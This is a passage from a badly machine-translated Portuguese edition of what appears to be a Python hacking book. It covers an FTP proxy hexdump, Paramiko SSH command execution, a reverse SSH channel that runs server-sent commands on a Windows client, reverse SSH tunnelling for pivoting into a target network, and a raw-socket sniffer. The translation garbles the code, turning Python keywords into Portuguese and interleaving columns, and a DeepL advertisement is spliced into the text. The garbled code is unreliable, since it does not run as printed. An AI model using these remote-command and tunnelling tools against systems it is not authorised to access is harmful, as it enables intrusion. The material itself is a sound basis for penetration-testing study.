001 20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E sucesso. Con
0
002 73 69 64 65 72 20 75 73 69 6E 67 20 50 41 53 56 sider usando
0 PASV
0030 2E 0D 0A ...
[<==] Recebid 6 bytes de local.
o
0000 4C 49 53 54 0D 0A LISTA...
[<==] Recebid 63 bytes de distância.
o
000 31 35 30 20 48 6 72 65 20 63 6F 6 65 73 20 74 150 Aqui vem t
0 5 D
001 68 65 20 64 69 7 65 63 74 6F 72 79 20 6C 69 73 lista de diretório
0 2 lis
002 74 69 6E 67 2E 0 0A 32 32 36 20 44 69 72 65 63 ting...226
0 D Diretriz
003 74 6F 72 79 20 7 65 6E 64 20 4F 4B 2E 0 0A tory envie OK...
0 3 D
000 50 4F 52 54 20 3 39 32 2C 31 36 38 2 31 2C 32 PORTO
0 1 C 192.168.1.2
001 30 332C 32 31 3 2C 31 31 0 0 03,218,11..
0 8 D A
000 32 30 30 20 50 4 52 54 20 63 6F 6 6 61 6E 64 200 comando
0 F D D PORT
001 20 73 75 63 63 6 73 73 66 75 6 2E 20 43 6F 6E sucesso. Con
0 5 C
002 73 69 64 65 72 2 75 73 69 6E 67 20 50 41 53 56 sider usando

Ferramentas Básicas de Trabalho em


Rede 25
0 0 PASV
003 2E 0 0A ...
0 D
000 51 55 49 54 0 0 PERMIT...
0 D A
[==>] Enviado para o
0000 controle remoto. 6F 64 62 79 65 2E 0 0A 221 Adeus...
32 32 31 20 47 6F
D
[==>] Enviado para o
local.
[*] Não há mais dados. Fechamento das conexões.

Em outro terminal da máquina Kali, iniciamos uma sessão de FTP


para o endereço IP da máquina Kali utilizando a porta padrão, 21:

tim@kali:$ ftp 192.168.1.203


Conectado a 192.168.1.203.
220 Bem-vindo ao ftp.sun.ac.za
Nome (192.168.1.203:tim): anônimo
331 Favor especificar a senha.
Senha:
230 Login com sucesso. O
tipo de sistema remoto é
UNIX.
Usando o modo binário para
transferir arquivos. ftp> ls
200 PORT comandam com sucesso. Considere o uso do PASV.
150 Aí vem a listagem do diretório.
lrwxrwxrwxrwx1 1001100148 Jul 17 2008 CPAN -> pub/mirrors/
ftp.funet.fi/pub/línguas/perl/CPAN
lrwxrwxrwx1 1001100121 Oct 21 2009 CRAN -> pub/mirrors/ ubuntu.com
drwxr-xr-x2 1001 10014096 Abr 03 2019 veeam
drwxr-xr-x6 1001 10014096 jun 27 2016
win32InetKeyTeraTerm
226 Diretório enviar
OK. ftp> bye
221 Adeus.

Você pode ver claramente que somos capazes de receber com sucesso
a proibição FTP e enviar um nome de usuário e uma senha, e que ela sai
limpa.

26 Capítulo 2
SSH com Paramiko
A rotação com BHNET, o substituto da netcat que construímos, é bastante
útil, mas às vezes é sábio encriptar seu tráfego para evitar a detecção. Um
meio comum de fazer isso é túneis de tráfego usando a Secure Shell (SSH).
Mas e se seu alvo não tiver um cliente SSH, assim como 99,81943 por
cento dos sistemas Windows?
Embora existam grandes clientes SSH disponíveis para Windows, como
PuTTY, este é um livro sobre Python. Em Python, você poderia usar
soquetes brutos e alguma mágica criptográfica para criar seu próprio
cliente ou servidor SSH - mas por que criar quando você pode reutilizar?
Paramiko, que usa PyCrypto, lhe dá acesso simples ao protocolo SSH2.
Para saber como esta biblioteca funciona, usaremos Paramiko para
fazer uma conexão e executar um comando em um sistema SSH,
configurar um servidor SSH e um cliente SSH para executar comandos
remotos em uma máquina Windows e, por fim, criar o arquivo de
demonstração do túnel reverso incluído com Paramiko para duplicar a
opção de proxy do BHNET. Vamos começar.
Primeiro, pegue Paramiko usando o instalador de tubulações (ou faça o
download a partir de
http://www.paramiko.org/):

instalar o paramiko pip

Usaremos alguns dos arquivos de demonstração mais tarde, portanto


certifique-se de baixá-los também do repo do Paramiko GitHub
(https://github.com/paramiko/ paramiko/).
Crie um novo arquivo chamado ssh_cmd.py e digite o seguinte:

paramiko de importação

1 def ssh_command(ip, port, user, passwd,


cmd): cliente = paramiko.SSHClient()
2 client.set_missing_hosting_key_policy(paramiko.AutoAddPo
licy()) client.connect(ip, port=port, username=user,
password=passwd)

3 stdout, stderr, stderr =


client.exec_command(cmd) output =
stdout.readlines() + stderr.readlines() if
output:
imprimir('--- Saída ---')
para linha na saída:
print(line.strip())

se nome == ' principal ':


4 importação getpass
# usuário = getpass.getuser()
Ferramentas Básicas de Trabalho em
Rede 27
usuário = entrada('Nome de
usuário: ') senha =
getpass.getpass()

ip = input('Enter server IP: ') ou '192.168.1.203'


porta = input('Enter port ou <CR>: ') ou 2222
cmd = input('Enter comando ou <CR>: ') ou 'id')
5 ssh_command(ip, porto, usuário, senha, cmd)

28 Capítulo 2
Criamos uma função chamada ssh_command 1, que faz uma conexão
com um servidor SSH e executa um único comando. Note que Paramiko
suporta autenticação com chaves em vez de (ou em adição a) autenticação
por senha.
ção. Você deve usar a autenticação por chave SSH em um compromisso
real, mas para facilitar o uso neste exemplo, ficaremos com a autenticação
tradicional por nome de usuário e senha.
Como estamos controlando ambas as extremidades desta conexão,
definimos o pol- icy para aceitar a chave SSH para o servidor SSH que
estamos conectando a 2 e fazer a conexão. Assumindo que a conexão é
feita, executamos o comando 3 que passamos na chamada para a função
ssh_command. Então, se o comando
produção, nós imprimimos cada linha da produção.
No bloco principal, usamos um novo módulo, o getpass 4. Você
pode usá-lo para obter o nome de usuário do ambiente atual, mas como
nosso nome de usuário é diferente nas duas máquinas, pedimos explicitamente
o nome de usuário no
linha de comando. Usamos então a função getpass para solicitar a senha (a
resposta não será exibida no console para frustrar qualquer surfista de
ombro). Em seguida, obtemos o IP, porta e comando (cmd) para executar e
enviá-lo para
ser executado 5.
Vamos fazer um teste rápido conectando-se ao nosso servidor Linux:

% python ssh_cmd.py
Nome de usuário:
tim Senha:
Insira o IP do servidor: 192.168.1.203
Entre na porta ou <CR>: 22
Digite o comando ou <CR>: id
--- Saída ---
uid=1000(tim) gid=1000(tim) grupos=1000(tim),27(sudo)

paramiko importação shlex

importação

Ferramentas Básicas de Trabalho em


Rede 29
Você verá modificar este script para executar comandos múltiplos em um servidor SSH,
que nós nos ou executar mands com em vários servidores SSH.
conectamos e Com o básico feito, vamos modificar o script para que ele possa executar
depois comandos no cliente Windows sobre SSH. Claro que, quando se usa SSH,
executamos o normalmente se usa um cliente SSH para conectar a um servidor SSH, mas
comando. como a maioria das versões do Windows não inclui um servidor SSH fora da
Você pode caixa, precisamos reverter isso e enviar comandos de um servidor SSH para o
facilmente cliente SSH.
Crie um novo arquivo chamado ssh_rcmd.py e digite o seguinte:
subprocesso de importação

def ssh_command(ip, port, user, passwd,


command): cliente = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()
) client.connect(ip, port=port, username=user,
password=passwd)

ssh_session =
client.get_transport().open_session() se
ssh_session.active:
ssh_session.send(comando)

30 Capítulo 2
print(ssh_session.recv(1024).decode())
enquanto True:
comando = ssh_session.recv(1024) 1
tente:
cmd =
comando.decodificar
() se cmd == 'sair':
cliente.fechar()
pausa
cmd_output = subprocesso.check_output(shlex.split(cmd), shell=Verdadeiro) 2
ssh_session.send(cmd_output ou 'ok') 3
exceto Exceção como e:
ssh_session.send(str(e))
client.close()
retornar

se nome == ' principal ':


importação getpass
user = getpass.getuser() senha
= getpass.getpass()

ip = entrada('Entrar IP do
servidor: ') porta =
entrada('Entrar porta: ')
ssh_command(ip, porto, usuário, senha, 'ClientConnected') 4

O programa começa como o último, e o novo material começa no tempo


Verdadeiro: loop. Neste loop, em vez de executar um único comando, como
fizemos no exemplo anterior, tomamos comandos da conexão 1,
executamos
o comando 2, e enviar qualquer saída de volta para o chamador 3.
Além disso, observe que o primeiro comando que enviamos é
ClientConnected 4. Você verá porque quando criarmos a outra
extremidade da conexão SSH.
Agora vamos escrever um programa que crie um servidor SSH para
nosso cliente SSH (onde executaremos comandos) para se conectar.
Pode ser um sistema Linux, Windows, ou mesmo macOS que tenha Python e
Paramiko instalados. Crie um novo arquivo chamado ssh_server.py e digite o
seguinte:

importação de
sistemas de
importação de
soquetes de
importação
Ferramentas Básicas de Trabalho em
Rede 31
paramiko
rosqueamento de importação

CWD = os.path.dirname(os.path.realpath( arquivo ))


1 HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))

2 class Server
(paramiko.ServerInterface): def
_init_(self):
self.event = threading.event()

def check_channel_request(self, kind,


chanid): if kind == 'session':
retornar paramiko.OPEN_SUCCEED
retornar paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

32 Capítulo 2
def check_auth_password(self, username, password):
se (nome de usuário == 'tim') e (senha == 'sekret'):
retornar paramiko.AUTH_SUCCESSFUL

se nome == ' principal ':


servidor =
'192.168.1.207'.
ssh_port = 2222
tentativa:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
3 sock.bind((server,
ssh_port)) sock.listen(100)
print('[+] Ouvir para conexão ...') cliente,
endereço = sock.accept()
exceto Exceção como e:
print('[-] Listen failed: ' + str(e))
sys.exit(1)
senão:
print('[+] Tenho uma conexão!', cliente, endereço)

4 bhSession =
paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server
)

chan =
bhSession.accept(20) se
chan for None:
print('*** Sem canal.')
sys.exit(1)

5 imprimir('[+] Autenticado!')
6 print(chan.recv(1024))
chan.send('Welcome to
bh_ssh') try:
enquanto Verdadeiro:
command= input("Enter
comando: ") se comando != 'exit':
chan.send(comma
nd) r =
Ferramentas Básicas de Trabalho em
Rede 33
chan.recv(8192)
print(r.decode())
senão:
chan.send('exit')
print('exit')
bhSession.close()
break
exceto KeyboardInterrupt:
bhSession.close()

Para este exemplo, estamos usando a chave SSH incluída nos arquivos de
demonstração Paramiko 1. Iniciamos um ouvinte de soquete 3, como
fizemos anteriormente no capítulo, e depois o "SSH-inize" 2 e configuramos
os métodos de autenticação 4. Quando
um cliente autenticou 5 e nos enviou a mensagem ClientConnected 6, qualquer

34 Capítulo 2
que digitamos no servidor SSH (a máquina rodando ssh_server.py) é
enviada para o cliente SSH (a máquina rodando ssh_rcmd.py) e executada
no cliente SSH, que retorna a saída para o servidor SSH. Vamos tentar.

Chutando os Pneus
Para a demonstração, executaremos o cliente em nossa máquina Windows
(dos autores) e o servidor em um Mac. Aqui nós iniciamos o servidor:

% python ssh_server.py
[+] Ouvir para conexão ...

Agora, na máquina Windows, iniciamos o cliente:

C:\Users\tim>: $ python ssh_rcmd.py


Senha:
Bem-vindo ao bh_ssh

E, de volta ao servidor, vemos a conexão:

[+] Conectado! de ('192.168.1.208', 61852) [+]


Autenticado!
ClientConnected
Comando Enter: whoami
desktop-cc91n7i³tim

Comando Enter: ipconfig


Configuração IP do Windows
<snip>

Você pode ver que o cliente está conectado com sucesso, momento em
que executamos alguns comandos. Não vemos nada no cliente SSH, mas o
comando que enviamos é executado no cliente, e a saída é enviada para
nosso servidor SSH.

Túnel SSH
Na última seção, construímos uma ferramenta que nos permitiu executar
comandos entrando-os em um cliente SSH em um servidor SSH remoto.
Outra técnica seria o uso de um túnel SSH. Em vez de enviar comandos para
o servidor, um túnel SSH enviaria o tráfego de rede embalado dentro do SSH,
e o servidor SSH desempacotaria e o entregaria.
Imagine que você se encontra na seguinte situação: Você tem acesso
remoto a um servidor SSH em uma rede interna, mas você quer acesso ao
servidor web na mesma rede. Você não pode acessar o servidor web
diretamente. O servidor com SSH instalado tem acesso, mas este servidor SSH
não tem as ferramentas que você deseja utilizar.

30 Capítulo 2
Uma maneira de superar este problema é montar um túnel SSH
avançado. Isto permitiria, por exemplo, executar o comando ssh -L
8008:web:80 justin@sshserver para se conectar ao servidor SSH como o
usuário justin e configurar a porta 8008 em seu sistema local. Qualquer
coisa que você enviar para a porta 8008 irá percorrer o túnel SSH existente
para o servidor SSH, que o entregaria ao servidor web. A Figura 2-1 mostra
isto em ação.

127.0.0.1
Porto 8008

Servidor SSH

Cliente SSH

Servidor Web
Visão simplificada da execução do comando
ssh -L 8008:web:80 justin@sshserver
Rede alvo

Figura 2-1: Túnel de avanço SSH

Isso é muito legal, mas lembre-se que não há muitos sistemas Windows
rodando um serviço de servidor SSH. Nem tudo está perdido, no entanto.
Podemos configurar uma conexão reversa de túnel SSH. Neste caso, nos
conectamos ao nosso próprio servidor SSH a partir do cliente Windows da
maneira usual. Através dessa conexão SSH, também especificamos uma
porta remota no servidor SSH que é tunelada para o host e porta locais,
como mostrado na Figura 2-2. Poderíamos usar este host local e porta, por
exemplo, para expor a porta 3389 para acessar um sistema interno usando o
Remote Desktop ou para acessar outro sistema que o cliente Windows possa
acessar (como o servidor web em nosso exemplo).

127.0.0.1
Porto 8008

Cliente SSH

Servidor SSH

Servidor Web

Rede alvo
Visão simplificada da execução do comando
ssh justin@sshsherver -R 8008:webserver:80

Ferramentas Básicas de Trabalho em


Rede 31
Figura 2-2: Visão simplificada da execução do
comando ssh justin@sshsherver -R 8008:webserver:80

32 Capítulo 2
Os arquivos de demonstração da Paramiko incluem um arquivo
chamado rforward.py que faz exatamente isso. Ele funciona perfeitamente
como está, por isso não vamos reimprimir esse arquivo neste livro. No
entanto, apontaremos alguns pontos importantes e daremos um exemplo
de como utilizá-lo. Abra rforward.py, pule para main(), e siga em frente:
def main():
opções, servidor, remoto = parse_options() 1
senha = Nenhuma
se opções.readpass:
senha = getpass.getpass('Digite a senha SSH: ')
client = paramiko.SSHClient() 2
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolic
y())

verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))


try:
client.connect(server[0],
server[1],
username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,
password=password
)
exceto Exceção como e:
print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
sys.exit(1)

verboso(
Agora encaminhando porto remoto %d para %s:%d ...''.
% (opções.porto, remoto[0], remoto[1])
)

tente:
reverse_forward_tunnel( 3
options.port, remote[0], remote[1], client.get_transport()
)
exceto KeyboardInterrupt:
print('C-c: Encaminhamento de portas
parado.') sys.exit(0)

As poucas linhas na parte superior 1 conferem duas vezes para


garantir que todos os argumentos necessários sejam passados ao roteiro
antes de configurar a conexão cli- ent 2 do Paramiko SSH (que deve
parecer muito familiar). A seção final em main() chama a função
reverse_forward_tunnel 3.
Ferramentas Básicas de Trabalho em
Rede 33
Vamos dar uma olhada nessa função:
def reverse_forward_tunnel(server_port, remote_host, remote_port,
transport):
1 transport.request_port_forward('',
server_port) while True:
2 chan =
transport.accept(1000) se
chan for None:
continuar

34 Capítulo 2
3 thr = threading.Thread(
target=handler, args=(chan, remote_host, remote_port)
)

thr.setDaemon(Verdadeiro)
thr.start()

Na Paramiko, existem dois métodos principais de comunicação: o


transporte, que é responsável por fazer e manter a conexão criptografada,
e o canal, que atua como um soquete para o envio e recebimento de dados
durante a sessão de transporte criptografada. Aqui começamos a usar o
request_port_port da Paramiko.
encaminhar para encaminhar conexões TCP de uma porta 1 no
servidor SSH e iniciar um novo canal de transporte 2. Então, sobre o
canal, chamamos o manipulador de funções 3.
Mas ainda não terminamos. Precisamos codificar a função do
manipulador para gerenciar
a comunicação para cada linha:

def handler(chan, host,


port): sock =
socket.socket() try:
sock.connect((host, port))
exceto Exceção como e:
verbose('Encaminhamento do pedido para %s:%d falhou: %r' %
(hospedeiro, porto, e)) retorno

verboso(
Conectado! Túnel aberto %r -> %r -> %r''.
% (chan.origin_addr, chan.getpeername(), (host, port))
)
embora Verdadeiro: 1
r, w, x = select.select([sock, chan], [], [])
se meias em r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(dad
os)
se chan in r:
data =
chan.recv(1024) if
len(data) == 0:
break
Ferramentas Básicas de Trabalho em
Rede 35
sock.send(dad
os)
chan.close()
sock.close()
verbose('Túnel fechado de %r' % (chan.origin_addr,))

E finalmente, os dados são enviados e recebidos 1.

36 Capítulo 2
Chutando os Pneus
Executaremos rforward.py a partir de nosso sistema Windows e o
configuraremos para ser o intermediário enquanto tunelamos o tráfego de um
servidor web para nosso servidor Kali SSH:

C:\i>Utilizadores python rforward.py 192.168.1.203 -p 8081 -r 192.168.1.207:3000 --user=tim


--password
Digite a senha SSH:
Conexão ao host ssh 192.168.1.203:22 . .
Agora encaminhando a porta remota 8081 para 192.168.1.207:3000 . .

Você pode ver que na máquina Windows, fizemos uma conexão com o
servidor SSH em 192.168.1.203 e abrimos a porta 8081 nesse servidor, que
encaminhará o tráfego para 192.168.1.207 porta 3000. Agora, se
navegarmos para http://127.0.0.1:8081 em nosso servidor Linux, nos
conectamos ao servidor web em 192.168.1.207:3000 através do túnel SSH,
como mostrado na Figura 2-3.

Figura 2-3: Exemplo de túnel SSH invertido

Se você voltar para a máquina Windows, você também pode ver a conexão
sendo feita em Paramiko:

Conectado! Túnel aberto ('127.0.0.1', 54690) -> ('192.168.1.203', 22) -> ('192.168.1.207',
3000)

SSH e SSH tunneling são conceitos importantes para entender e


usar. Os chapéus pretos devem saber quando e exatamente como usar
o SSH e a construção de túneis SSH, e a Paramiko torna possível
acrescentar capacidades SSH às suas ferramentas Python existentes.
Neste capítulo, criamos algumas ferramentas muito simples, porém
muito úteis. Encorajamos você a expandi-las e modificá-las conforme
necessário para desenvolver uma compreensão firme das características de
rede da Python. Você poderia usar estas ferramentas durante testes de
penetração, pós-exploração ou caça de bugs. Vamos passar ao uso de
Ferramentas Básicas de Trabalho em
Rede 37
soquetes brutos e realizar o sniffing de rede. Depois combinaremos os dois
para criar um scanner de descoberta de hosts Python puro.

38 Capítulo 2
3
W R I T ING A S N SE F
ER

Os farejadores de rede permitem que você


veja pacotes entrando e saindo de uma
máquina alvo. Como resultado, eles têm
muitos usos práticos antes
e após a exploração. Em alguns casos, você
poderá usar ferramentas de farejamento existentes como
Wireshark (https:// wireshark.org/) ou uma solução
pythônica como Scapy (que exploraremos no próximo
capítulo). No entanto, há uma vantagem em saber
como juntar seu próprio farejador rápido para
visualizar e decodificar o tráfego da rede.
Escrever uma ferramenta como esta também lhe dará uma profunda
apreciação das ferramentas maduras, já que estas podem cuidar sem dor dos
pontos mais finos com pouco esforço de sua parte. Você também
provavelmente aprenderá algumas novas técnicas Python e talvez uma
melhor compreensão de como funcionam as peças de rede de baixo nível.
No capítulo anterior, abordamos como enviar e receber dados usando TCP
e UDP. Esta é provavelmente a forma como você irá interagir com a maioria
dos serviços de rede.

40 Capítulo 2
Mas sob esses protocolos de nível superior estão os blocos de construção
que determinam como os pacotes de rede são enviados e recebidos. Você
usará soquetes brutos para acessar informações de rede de nível inferior,
tais como os cabeçalhos do Protocolo de Internet (IP) e do Protocolo de
Mensagem de Controle da Internet (ICMP) brutos. Não descodificaremos
nenhuma informação Ethernet neste capítulo, mas se você pretende realizar
qualquer ataque de baixo nível, como envenenamento ARP, ou está
desenvolvendo ferramentas de avaliação sem fio, você deve se familiarizar
intimamente com os quadros Ethernet e seu uso.
Vamos começar com uma breve introdução de como descobrir hosts ativos
em um segmento de rede.

Construindo uma ferramenta UDP Host Discovery


O principal objetivo de nosso farejador é descobrir anfitriões em uma rede
alvo. Os atacantes querem ser capazes de ver todos os alvos potenciais em
uma rede para que possam concentrar suas tentativas de reconhecimento
e exploração.
Usaremos um comportamento conhecido da maioria dos sistemas
operacionais para determinar se existe um host ativo em um
determinado endereço IP. Quando enviamos um UDP
datagram para um porto fechado em um host, esse host normalmente envia
de volta uma mensagem ICMP indicando que o porto é inalcançável. Esta
mensagem ICMP nos diz que há um host vivo, porque se não houvesse host,
provavelmente não receberíamos nenhuma resposta ao datagrama do UDP. É
essencial, portanto, que escolhamos uma porta UDP que provavelmente não
será utilizada. Para uma cobertura máxima, podemos sondar várias portas
para garantir que não estamos atingindo um serviço UDP ativo.
Por que o Protocolo de Datagramas do Usuário? Bem, não há nenhuma
sobrecarga na pulverização da mensagem através de uma sub-rede inteira e
esperar que as respostas do ICMP cheguem de acordo. Este é um scanner
bastante simples de construir, pois a maior parte do trabalho vai para a
decodificação e análise dos vários cabeçalhos do protocolo de rede. Vamos
implementar este scanner de host tanto para Windows quanto para Linux
para maximizar a probabilidade de poder usá-lo dentro de um ambiente
empresarial.
Poderíamos também construir lógica adicional em nosso scanner para
dar início às varreduras completas de portas do Nmap em qualquer
anfitrião que descobrirmos. Dessa forma, podemos determinar se eles têm
uma superfície de ataque de rede viável. Este é um exercício deixado para o
leitor, e nós, os autores, estamos ansiosos para ouvir algumas das formas
criativas de expandir este conceito central. Vamos começar.

Cheirando pacotes em Windows e Linux


O processo de acesso a soquetes brutos no Windows é ligeiramente
diferente do que em seus irmãos Linux, mas queremos a flexibilidade para
implantar o mesmo sniffer em múltiplas plataformas. Para explicar isto,
36 Capítulo 36
vamos criar um objeto socket e depois determinar em qual plataforma
estamos rodando. O Windows exige que nós
definir algumas bandeiras adicionais através de um controle de
entrada/saída do soquete (IOCTL), que permite o modo promíscuo na interface
de rede Um controle de entrada/saída (IOCTL) é um meio para que os
programas de espaço do usuário se comuniquem com os componentes do
modo kernel. Leia aqui: http://en.wikipedia.org/wiki/Ioctl.
Em nosso primeiro exemplo, simplesmente montamos nosso
snifador de soquetes crus, lemos em um único pacote, e depois
paramos:

soquete de
importação
importar os

# Host para ouvir no


HOST =
'192.168.1.203'.

def main():
# criar soquete bruto, bin to public interface
if os.name == 'nt':
socket_protocol =
socket.IPPROTO_IP else:
socket_protocol = socket.IPPROTO_ICMP

1 sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW,


socket_protocol) sniffer.bind((HOST, 0))
# incluir o cabeçalho IP na captura
2 sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

3 se os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# ler um pacote
4 print(sniffer.recvfrom(65565))

# se estivermos no Windows, desligue o modo promíscuo


5 se os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

se nome == ' ' principal ':


principal()

Começamos definindo o IP do HOST para o endereço de nossa


própria máquina e estruturando nosso objeto soquete com os parâmetros
necessários para farejar pacotes em nossa interface de rede 1. A diferença
entre Windows e Linux é
que o Windows nos permitirá cheirar todos os pacotes que chegam,
38 Capítulo 38 independentemente do pro...
tocol, enquanto o Linux nos força a especificar que estamos cheirando
pacotes ICMP. Note que estamos usando o modo promíscuo, que requer
privilégios administrativos no Windows ou root no Linux. O modo
promíscuo nos permite farejar todos os pacotes que a placa de rede vê,
mesmo aqueles não destinados ao nosso
anfitrião específico. Em seguida, definimos uma opção de soquete 2
que inclui os cabeçalhos IP em nossos pacotes capturados. O próximo
passo 3 é determinar se estamos usando Windows e, em caso
afirmativo, executar o passo adicional de enviar um IOCTL para

Escrevendo um Sniffer 37
o driver do cartão de rede para permitir o modo promíscuo. Se você estiver
rodando Windows em uma máquina virtual, provavelmente receberá uma
notificação de que o sistema operacional convidado está habilitando o modo
promíscuo; você, é claro, permitirá isso. Agora estamos prontos para realmente
realizar algum sniffing e, neste caso, estamos
simplesmente imprimindo todo o pacote 4 cru sem decodificação de
pacotes. Isto é apenas para ter certeza de que o núcleo de nosso código de
farejamento está funcionando. Depois de um
pacote único é cheirado, nós testamos novamente para Windows e depois
desativamos o modo promíscuo 5 antes de sair do script.

Chutando os Pneus
Abra um terminal novo ou shell cmd.exe sob Windows e execute o seguinte:

python sniffer.py

Em outro terminal ou janela de shell, você escolhe um host para pingar.


Aqui, vamos pingar o nostarch.com:

ping nostarch.com

Em sua primeira janela, onde você executou seu farejador, você deve
ver uma saída de falsificação que se assemelha muito ao seguinte:

(b'E\x00\x00T\xad\xcc\x00\x00\x80\x01\n\x17h\x14\xd1\x03\xac\x10\x9d\x9
d\x00\
x00g,\rv\x00\x01\xb6L\x1b^\x00\x00\x00\x00\xf1\xde\t\x00\x00\x00\x00\x00
\x10\ x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567', ('104.20.209.3', 0))

Você pode ver que capturamos o pedido inicial do ICMP ping destinado
ao nostarch.com (baseado na aparência do IP para nostarch.com,
104.20.209.3, no final da saída). Se você estiver executando este exemplo
no Linux, você receberá a resposta do nostarch.com.
Cheirar um pacote não é muito útil, então vamos adicionar alguma
funcionalidade para processar mais pacotes e decodificar seu conteúdo.

Decodificação da camada IP
Em sua forma atual, nosso farejador recebe todos os cabeçalhos IP,
juntamente com quaisquer protocolos superiores como TCP, UDP, ou
ICMP. A informação é embalada em formato binário e, como mostrado
anteriormente, é bastante difícil de entender. Vamos trabalhar na
decodificação da parte IP de um pacote para que possamos extrair
informações úteis dele, tais como o tipo de protocolo (TCP, UDP ou ICMP)
e os endereços IP de origem e destino. Isto servirá como uma base para
análise adicional do protocolo mais tarde.
Se examinarmos o aspecto real de um pacote na rede, você deve
38 Capítulo 3
entender como precisamos decodificar os pacotes que chegam. Consulte
a Figura 3-1 para a composição de um cabeçalho IP.
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

Protocolo
Internet
Bit
offset 0–3 4–7 8–15 16–18 19–31
HDR
0 Versão comprim Tipo de serviço Compriment
ento o total
32 Identificação Bandei Compensação
ras
de fragmentos
64 Tempo para Protocolo Cheque de cabeçalho
viver
96 Endereço IP de
origem
128 Endereço IP de destino
160 Opções

Figura 3-1: Estrutura típica do cabeçalho IPv4

Decodificaremos todo o cabeçalho IP (exceto o campo Opções) e


extrairemos o tipo de protocolo, fonte e endereço IP de destino. Isto
significa que estaremos trabalhando diretamente com o binário, e teremos
que elaborar uma estratégia para separar cada parte do cabeçalho IP
usando Python.
Em Python, há algumas maneiras de obter dados binários externos em
uma estrutura de dados. Você pode usar o módulo de tipos ou o módulo
de estrutura para definir a estrutura de dados. O módulo de ctypes é
uma biblioteca de funções estrangeiras para Python. Ele fornece uma
ponte para linguagens baseadas em C, permitindo que você use tipos de
dados compatíveis com C e funções de chamada em bibliotecas
compartilhadas. Por outro lado, a estrutura converte entre valores Python e
estruturas C representadas como objetos de bytes Python. Em outras palavras, o
módulo ctypes trata de tipos de dados binários, além de fornecer muitas
outras funcionalidades, enquanto o módulo estrutural trata
principalmente de dados binários.
Você verá os dois métodos usados quando explorar os repositórios de
ferramentas na web. Esta seção mostra como usar cada um deles para ler
um cabeçalho IPv4 fora da rede. Cabe a você decidir qual método você

Escrevendo um Sniffer 39
prefere; qualquer um deles funcionará bem.

O módulo dos tipos


O seguinte trecho de código define uma nova classe, IP, que pode ler um
pacote e analisar o cabeçalho em seus campos separados:

de importação de
tipos * soquete de
importação
estrutura de importação

classe IP(Estrutura):
_campos_ = [
("versão"), c_ubyte, 4), # 4 bit char não
assinado
("ihl", c_ubyte, 4), # 4 bit char não
assinado
("tos"), c_ubyte, 8), # 1 byte char
("len"), c_ushort, 16), # 2 byte não assinado
curto
("id"), c_ushort, 16), # 2 byte não assinado
curto
("offset"), c_ushort, 16), # 2 byte não assinado
curto
("ttl"), c_ubyte, 8), # 1 byte char
("protocol_num c_ubyte, 8), # 1 byte char
",
("soma", c_ushort, 16), # 2 byte não assinado
curto
("src"), c_uint32, 32), # 4 byte não assinado
int
("dst"), c_uint32, 32) # 4 byte não assinado
int
]
def new (cls, socket_buffer=None):
retornar cls.from_buffer_copy(socket_buffer)

def init (self, socket_buffer=None): #


endereços IP legíveis por humanos
self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))

Esta classe cria uma estrutura de _campos_ para definir cada parte
do cabeçalho IP. A estrutura utiliza tipos C que são definidos no módulo
de tipos. Por exemplo, o tipo c_ubyte é um char não assinado, o tipo
c_ushort é um short não assinado, e assim por diante. Você pode ver que cada

40 Capítulo 3
campo corresponde ao diagrama de cabeçalho IP na Figura 3-1. Cada
descrição de campo leva três argumentos: o nome do campo (como ihl
ou offset), o tipo de valor que leva (como c_ubyte ou c_ushort), e a
largura em bits para aquele campo (como 4 para ihl e versão). Ser capaz de
especificar a largura em bits é útil porque nos dá a liberdade de especificar
qualquer comprimento que precisamos, não apenas no nível de byte (a
especificação no nível de byte forçaria nossos campos definidos a serem sempre
um múltiplo de 8 bits).
A classe IP herda da classe Estrutura do módulo ctypes, que especifica
que devemos ter uma estrutura _campos_ definida antes de criar qualquer
objeto. Para preencher a estrutura _fields_, a classe Estrutura utiliza o
novo método, que toma a referência da classe como o primeiro argumento.
Ela cria e retorna um objeto da classe, que passa para o método init.
Quando criamos nosso objeto IP, o faremos como normalmente faríamos,
mas por baixo,
Python invoca novo , que preenche a estrutura de dados _campos_
imediatamente antes de o objeto ser criado (quando o método init é
chamado). Desde que você tenha definido a estrutura antes, você pode
simplesmente passar o novo método para o pacote de dados da rede externa,
e os campos devem aparecer magicamente como atributos do seu objeto.
Agora você tem uma idéia de como mapear os tipos de dados C para os
valores do cabeçalho IP. Usar o código C como referência ao traduzir para
objetos Python pode ser útil, porque a conversão para Python puro é sem
problemas. Consulte a documentação dos tipos de dados para obter
detalhes completos sobre como trabalhar com este módulo.

Escrevendo um Sniffer 41
O módulo estrutural
O módulo de estrutura fornece caracteres de formato que você pode usar
para especificar a estrutura dos dados binários. No exemplo a seguir,
definiremos mais uma vez uma classe IP para conter as informações do
cabeçalho. Desta vez, porém, usaremos caracteres de formato para
representar as partes do cabeçalho:

estrutura de
importação
ipaddress import

classe IP:
def init (self, buff=None):
header = struct.unpack('<BBHHHBBH4s4s', buff)
1 self.ver = cabeçalho[0] >> 4
2 self.ihl = cabeçalho[0] & 0xF

self.tos = header[1]
self.len = header[2]
self.id = header[3]
self.offset = header[4]
self.ttl = header[5]
self.protocol_num = header[6]
self.sum = header[7]
